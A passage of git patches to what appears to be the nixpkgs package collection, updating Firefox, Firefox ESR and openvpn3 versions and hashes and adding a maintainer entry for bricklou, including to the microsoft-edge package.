+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/kn/Firefox%20141.0.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "b7d63b5583d9f51c6fceb2f444a3dfcc79cd335e44566ad18166fd607833a571";
+      sha256 = "bda70cb591c05f52ae99916bd4669a6a52fb0a6d4b7f882c053dbe03a104bcc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ko/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ko/Firefox%20141.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "b8287ea7deedbf7350115dd1ac4358f9a9ed3a4670e5054c6058be2f47fb696b";
+      sha256 = "c4846df0b8af4423724841f3af77e4eeac525c8a7d7e01493a20c787cae029c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/lij/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/lij/Firefox%20141.0.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "bf6907af6b823649b82d142bb953ac82678240d546c37d60729d53748fca2c01";
+      sha256 = "d73ca865779e509fe94cda0d1f5f45bd4b528173d57145dcbb3de9432e2993c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/lt/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/lt/Firefox%20141.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "a3c3dc1761732eed8dcef2f54d114b02d93c50d37b489cfa661c3df91ebe43e8";
+      sha256 = "9d831f0655b0f890b4081f0c843eb38e987c436d281438cfd1aa5e6dfd14d0c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/lv/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/lv/Firefox%20141.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "73e0108bd692e7a457de70c5c7e899c429fad8cd37721ce7370e66a525e707e6";
+      sha256 = "9891e2af2be47146440a4b0200f89d9f9f4080133cfbf383d66e9c81d401e9e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/mk/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/mk/Firefox%20141.0.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "ca46e88411ec1cd4ceddc672ace2919dc25727663612bb9bd27632ab9a2f5f03";
+      sha256 = "90259de40c97e582579af6dd9e802aece86463e3b338115945cfa40d6a528346";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/mr/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/mr/Firefox%20141.0.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "181c49b5d8c02e3909bd4f2061efb8ef3cb9ec55e9ff63403211e32be3130e55";
+      sha256 = "7cdeb56ed559a69eaa746c26b21eaa0238677be472e314991cd654f5c3ef74f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ms/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ms/Firefox%20141.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "17f855ce25ef1ac92944fb14b16d7ffb5fb679e03b7bfc37e6cab025fca35b22";
+      sha256 = "b362c9acd234f6db36c7597f34e2a273156d50b891c26c50c0f9f663705496f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/my/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/my/Firefox%20141.0.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "cff7f16757123113d39b8fb5a56ab77757fe9d90e1f5ba62f12ec9ea6f29b3a2";
+      sha256 = "2055b06d76d307a97a7816449298fc1180e9d9424d54df88f5c7dec54182e149";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/nb-NO/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/nb-NO/Firefox%20141.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "8d76da8da930c484a4f2f78be4679688cc29ca44f8a6b991df385399eefa85c1";
+      sha256 = "17cb325fe0210a52a2976bcdf148837092938cfcf1aaa6673cd7f4a14b39238e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ne-NP/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ne-NP/Firefox%20141.0.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "c4614af7cfbe822fe82e46a614af0882ae14110e2254d5aa06e8dff7657694cb";
+      sha256 = "877c21e2a7f37eb27a3a3ba111906737514093a20c94c5edf571284cde5c097a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/nl/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/nl/Firefox%20141.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "e5f2094e8b3d9ca293616d962cbd1d99eef02b92dcc3b473feb0d13c292c7082";
+      sha256 = "7ae4122c451953bd92eedd23dd068631ddeec419a7ddf7d783dc204c08e75f95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/nn-NO/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/nn-NO/Firefox%20141.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "c67f47d65d913bc8767df912a6d6f3e633b811f1fc0aec3545cad7b6bb7757fb";
+      sha256 = "10a255b5280ee7bbdf220e6ca8bd994eef159a5dd8804d22c6f6c963febb6c14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/oc/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/oc/Firefox%20141.0.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "b0a98bc8572ec911403bfe490dc504d313fcff081079c1c18c6a82e0d9eca984";
+      sha256 = "26059c0262743605d045e4eda0589bb4f0fe8d63b584f2ea1f904d48da2ccb65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pa-IN/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pa-IN/Firefox%20141.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "1b307d5709181a0b250327d04fd9a2f127fce7e792c4a525540480d4039fbc9d";
+      sha256 = "cd77d464e80b82ad6c68eb2b5dd7ae41956d9b151a68688def0915d640cd8e01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pl/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pl/Firefox%20141.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "83a51dc92c8aafea137f698eef0c7d7249d238c0d459f4d6f542f023532db44a";
+      sha256 = "52e9054e146d4e3757012f5d20391f6f30c8dd4fcc197ac55a49042946f6d580";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pt-BR/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pt-BR/Firefox%20141.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "62c4ca2b20346f0906d5b536aab92f661d6f88ab0222469d3212c58e9d6224f5";
+      sha256 = "40cbc55abbb762e676134a878406625701b26be5cd000dae110b7598ae157138";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pt-PT/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pt-PT/Firefox%20141.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "fa7f410a5d63c69e6b89501f34ce96fb09e0ac78a2e787349ab2af8fa801f3a3";
+      sha256 = "ab12106d4121ecd135131b67839758b5f9e16725376f3b8213a9725858b5e40f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/rm/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/rm/Firefox%20141.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "233e7a0967801897a1458d33f0e0d0e7ee3f1841d2e564a9f4c2e7f872f64710";
+      sha256 = "14ad99e70f378fc33cb2685e327bb3a415a39874e069abd3a0a5d84a89d27ea1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ro/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ro/Firefox%20141.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "a6cb37d19d21f59bf35893661f3bf14f290a51bf78860edb555e4af46ccb2e82";
+      sha256 = "47d520b2f796c97a722b56e511b82631eed52275ab28e3fbd0674d7d38001dc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ru/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ru/Firefox%20141.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "bea384a03df803d4d91e7a8d6330f538a7949e66bf03b0b6db4105c1e92411ad";
+      sha256 = "e5a4756ac321867f3fb16364c66951834c49648b197f2e30cfa29bf6d62a7b9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sat/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sat/Firefox%20141.0.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "c262f58493dfd81e6691578550a2942a8f9456513e3c51ad4b3805b60e07bc4a";
+      sha256 = "47588d13670c68abc3204431b5519173b92ac60e38922cf32940e96b2071e8d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sc/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sc/Firefox%20141.0.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "991631ef16653fe21a34ec791da72a457c820f58ee6365b62a43aff47bf06245";
+      sha256 = "cf49aa4838ea82c215f3bff06477e1db38d0c67df88e6d0ac2871b4f5d7902ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sco/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sco/Firefox%20141.0.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "2ce73609d4aeb566f702446280a7512e9107585208129ac857d29ca04fdb135c";
+      sha256 = "efbb3486d6f863f3974cbd69d4ed6e2f9b42f581e9926e5ed125567eee930e7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/si/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/si/Firefox%20141.0.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "6f0ab9069c5cf18ad5c4c12e2933e8304d12c492de1dd480f4b7e0393b4f0f40";
+      sha256 = "022a133db9177b6e882fa0aa644d70184a8efaae24e0aa625ca111e4cbcd369b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sk/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sk/Firefox%20141.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "c6801c789af1374ffb94eed0ef9245579dc7af6205d5175d7f3795bd9a01355a";
+      sha256 = "d3eb5b8ce103dc6eddb8ca7947e7ad3652b766c2d395ecc6acb9b740bdbb2c45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/skr/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/skr/Firefox%20141.0.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "b776c0cf15d02f16558af2587d44cb8dfeaa4756c67363d04e61a355176f3feb";
+      sha256 = "1be25eca1806ebf72603cd1d3e7dc6ab6799b8c386d1ade693d070438fd00f6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sl/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sl/Firefox%20141.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "cb7f05c8dd3099f7887dc6554a854281bcea7e4595e643609d67a8d72a5b6d9e";
+      sha256 = "3f4792daf890d39d120edbbb05a96cc9605ec49015d87f6969bf8a5dc1a2d122";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/son/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/son/Firefox%20141.0.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "fd85af5542a3dedf92870e240c39f1826a30396d15ff8c8b75a8e07d3fff2cc2";
+      sha256 = "2fd6c939b7a4cc813e03d098bdfc19b8a1a48759b831be2e084719c16c8cf34a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sq/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sq/Firefox%20141.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "5773ffbc81b5d558ae2197a76cea792f49dd9fe48a47d2329c7cb01a6b85c9ce";
+      sha256 = "3a5ffe9efff4d1d12f00d86c7fa46239accc708af95d7cf6a0d41492938899fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sr/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sr/Firefox%20141.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "47b78c97701e7a146a42e8ca849ffb5ffe1852d4a23bb5bd702cc265b6f5736d";
+      sha256 = "576572b308fa150011e62831783f13604c4700dec1f1f7f033fba25c835a5978";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sv-SE/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sv-SE/Firefox%20141.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "170936262506ad970a17d46e3d2c5fb23ebfc3d3f8b3ac3438c0f80d25870814";
+      sha256 = "c84ae9979023217920f03f6c1eb02fd1aebb9dbfddc0459afd2681dbbe7fc562";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/szl/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/szl/Firefox%20141.0.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "71828dcc2c4c020d9773714c0847b20c367f36d432088f267fa73d425faa5728";
+      sha256 = "cdc6004f451d5c7306088661318f2a2149e84b3e01c28cbe9c0dec56c30dce85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ta/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ta/Firefox%20141.0.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "d8d9a5a2d78d3218119d4e6edbb602651cfa4f3918a7181eba3e8a3c41667aea";
+      sha256 = "7084b920384d0827a3a26b2e51aa0a1d33b57b63d4b607963e8ecbe8422039fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/te/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/te/Firefox%20141.0.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "345d3ff94590419d82f9ec551ec909d80b4fc5d7fa34bc41c489849d84f04f4d";
+      sha256 = "ca1d02ccc47d7372adfc7e7aa4174fec378d5f07550781ad02ae92297dd61705";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/tg/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/tg/Firefox%20141.0.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "07f8aad52582f034079de255d3753d4e754d8ea89f5988ed5326c5a728969617";
+      sha256 = "933eacf454718a8b0dca160a2ee87bcd87152af358945b97383d592158028853";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/th/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/th/Firefox%20141.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "8751a21cf8772835eb7a0da4981517dcd2607691ba46137ee89f76c2bbba3a79";
+      sha256 = "1d9df1dc264e62cda2e49718570b93456fce86b9c38e91016fff8f9135b1f4fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/tl/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/tl/Firefox%20141.0.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "dade6f970bbd83d77c6ee56465bc605a539aaed2e9d69f3edb6f71637f94aab2";
+      sha256 = "d3b0e0e439ccd7b566d5810fc4834323f4e1fe30fcf07a7d7014662bf53084a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/tr/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/tr/Firefox%20141.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "a2bd26e7f458938dd4ceae8a145beb1fa735081c2b99a34a843d6ec349b1703b";
+      sha256 = "3ad66b0abfd0995f48cc55a6deaac71a464af45b40a734f48fe6418c18ca7f26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/trs/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/trs/Firefox%20141.0.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "0b3333f1f80ec5005266f8e1e7c5b98edde047c9cd617bf37ae0f536f4962ba2";
+      sha256 = "26a3a62918b4c8ad8250f1218d2811717f155fecabb9f5e5ea79feea03928b79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/uk/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/uk/Firefox%20141.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "842296fa529441cc2ec1939d813649a1c05682d3eae0369b0917137fd32f5fd7";
+      sha256 = "fbd6d9a970260b140ff434596e99ab55bb418124062fe14834fda9423395a2b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ur/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ur/Firefox%20141.0.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "469fa87ab6c043aca07f8c9c864b2a1370cc18c64df735cc034f146b18a0bcd3";
+      sha256 = "7817b6f04256bb0e98eff7899b28d49039cea84b595d8ef33d2130b6464584e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/uz/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/uz/Firefox%20141.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "97e4ef0e7c28f03b9bcaecdbe5af093e5c03d4e1b845669fbac3cafa973738a3";
+      sha256 = "2fd70f20d710655d2543dd1500e9d791016a3abaa316cc9ce30c8e28023fbed6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/vi/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/vi/Firefox%20141.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "727c8192e65e94dfbdf8fe506abe8d6db550bba6d559ba8923ce37031a130d68";
+      sha256 = "11681cfc5b979b0fb822079cecaa5bfbf2eaa0b40df832832eecd81ffc43fdc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/xh/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/xh/Firefox%20141.0.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "bb6a1b92642b51a82ba0d3d8f19e01d4952a62c36add5ccb86e4c15c4bcd7b83";
+      sha256 = "23f15ef262b39bd1295d0751e86bccfa632d66c4438c888cdeabb4f712b462cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/zh-CN/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/zh-CN/Firefox%20141.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "fc739cd43d62b94132292e8fa3457da7cb65b23a7cdf19f451d4025094231ae5";
+      sha256 = "92a269c2bedc65b9ff8dbfeb7dc53e115ac49792d43dd76232482b04d6f2fde0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/zh-TW/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/zh-TW/Firefox%20141.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "3b88dc8fd0ed780c5cf8fb3c4fbaf18177bf06150c94c7ceb2a5a88f5fcd80be";
+      sha256 = "7077da1c7698b20b8a04df0871413336d8b63f51e0ad1ddbe8e303c4363064a4";
     }
   ];
 }

From 20bca6b25fb592c675e64348c067be4d5902921f Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 21 Jul 2025 16:29:17 +0200
Subject: [PATCH 2680/4511] firefox-esr-140-unwrapped: 140.0esr -> 140.1.0esr

https://www.mozilla.org/en-US/firefox/140.1.0/releasenotes/
(cherry picked from commit a5685d1d9d170933f14b9feeac264de91883ab40)
---
 .../networking/browsers/firefox/packages/firefox-esr-140.nix  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
index 24a2e506f388..0364f6122a01 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
@@ -9,11 +9,11 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "140.0esr";
+  version = "140.1.0esr";
   applicationName = "Firefox ESR";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "12e40b81627ac4b44d43edb94aa1cd2a6c50bb49503e3b1b6f80259eed197ecb5847a0f0520ad204340dfe0ab7b5a4aa1ced2bc21ee0258471e8fdb121f6aaf4";
+    sha512 = "1b5caff9b381cd449c40d148542501f7a31a7151a3f2f888e789c9743af8ee1d1eddbd970f8c0054902d1e1d739221db0cfcf1dc6ab704bb83bbb7b7b6a20055";
   };
 
   meta = {

From 68cdc5f8286ac45e811a575cbd888ba43d6b5ef8 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 21 Jul 2025 16:30:51 +0200
Subject: [PATCH 2681/4511] firefox-esr-128-unwrapped: 128.12.0esr ->
 128.13.0esr

https://www.mozilla.org/en-US/firefox/128.13.0/releasenotes/
(cherry picked from commit a21716492cfb35c8cbd890d47ca419d1a7f10192)
---
 .../networking/browsers/firefox/packages/firefox-esr-128.nix  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
index 7fc014e12d82..96719a7734ed 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
@@ -9,11 +9,11 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "128.12.0esr";
+  version = "128.13.0esr";
   applicationName = "Firefox ESR";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "442d0b2b6ce02adcd878975f01e86548ca8fe93840185d77a1acb41ec99440c7abfdc8757e6f30d60593dcf2c7f50563b6ea6ccd4d239beea01305615b73c359";
+    sha512 = "9e6f3af535e0904219bcac947d458789cc43cbfaf476ac287328323662391eaaadeff57b244599acf3626a2fadc0bc41b70d07e33ca6af4412006ad01ceff034";
   };
 
   meta = {

From eed9239332f35b299f99729dd287f377f1f17b42 Mon Sep 17 00:00:00 2001
From: Petr Portnov <mrjarviscraft+nix@gmail.com>
Date: Sat, 26 Apr 2025 17:14:50 +0300
Subject: [PATCH 2682/4511] openvpn3: add `passthru.updateScript`

(cherry picked from commit 83f86863280f5af909c7886f0af334ec0e050927)
---
 pkgs/by-name/op/openvpn3/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/op/openvpn3/package.nix b/pkgs/by-name/op/openvpn3/package.nix
index cf25ba7abce8..e6055468bc69 100644
--- a/pkgs/by-name/op/openvpn3/package.nix
+++ b/pkgs/by-name/op/openvpn3/package.nix
@@ -22,12 +22,12 @@
   gdbuspp,
   cmake,
   git,
+  nix-update-script,
   enableSystemdResolved ? true,
 }:
 
 stdenv.mkDerivation rec {
   pname = "openvpn3";
-  # also update openvpn3-core
   version = "24.1";
 
   src = fetchFromGitHub {
@@ -114,6 +114,8 @@ stdenv.mkDerivation rec {
 
   NIX_LDFLAGS = "-lpthread";
 
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "OpenVPN 3 Linux client";
     license = lib.licenses.agpl3Plus;

From bb2640a85b0bd80298532cd9447e52d6779d1723 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 16:55:49 +0000
Subject: [PATCH 2683/4511] openvpn3: 24.1 -> 25

(cherry picked from commit 2f11edd26d6c164bd42b9dce55a35b612607a880)
---
 pkgs/by-name/op/openvpn3/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/openvpn3/package.nix b/pkgs/by-name/op/openvpn3/package.nix
index e6055468bc69..f1824af06647 100644
--- a/pkgs/by-name/op/openvpn3/package.nix
+++ b/pkgs/by-name/op/openvpn3/package.nix
@@ -28,13 +28,13 @@
 
 stdenv.mkDerivation rec {
   pname = "openvpn3";
-  version = "24.1";
+  version = "25";
 
   src = fetchFromGitHub {
     owner = "OpenVPN";
     repo = "openvpn3-linux";
     tag = "v${version}";
-    hash = "sha256-E6SBVPHmejXB18RuNCNq62yWOJslZfIjVbNUdRIk5Sw=";
+    hash = "sha256-Fme8OT49h2nZw5ypyeKdHlqv2Hk92LW2KVisd0jC66s=";
     # `openvpn3-core` is a submodule.
     # TODO: make it into a separate package
     fetchSubmodules = true;

From 783340b71e6aa8c59ae28f4ee1574502a568ba1e Mon Sep 17 00:00:00 2001
From: Louis Bailleau <louis13.bailleau@gmail.com>
Date: Wed, 11 Jun 2025 20:28:05 +0200
Subject: [PATCH 2684/4511] maintainers: add bricklou

(cherry picked from commit 6fc564691d6d43729b9e67b45bb4d88b47a01b7c)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1e17a6be626e..3d3ef113ab93 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -3670,6 +3670,13 @@
     githubId = 92804487;
     keys = [ { fingerprint = "58A2 81E6 2FBD 6E4E 664C  B603 7B4D 2A02 BB0E C28C"; } ];
   };
+  bricklou = {
+    name = "Bricklou";
+    email = "louis13.bailleau@gmail.com";
+    github = "bricklou";
+    githubId = 15181236;
+    keys = [ { fingerprint = "AE1E 3B80 7727 C974 B972  AB3C C324 01C3 BF52 1179"; } ];
+  };
   britter = {
     name = "Benedikt Ritter";
     email = "beneritter@gmail.com";

From 1f1fbc58e88573150f752d523ac57ed51325b3c9 Mon Sep 17 00:00:00 2001
From: Louis Bailleau <louis13.bailleau@gmail.com>
Date: Wed, 11 Jun 2025 20:34:26 +0200
Subject: [PATCH 2685/4511] microsoft-edge: add maintainer bricklou

(cherry picked from commit ee0d81725c74319a84266a24d7b1d0bd2925418a)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 87fc45285489..74c8548b6a20 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -292,6 +292,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       ulrikstrid
       maeve-oake
       leleuvilela
+      bricklou
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];

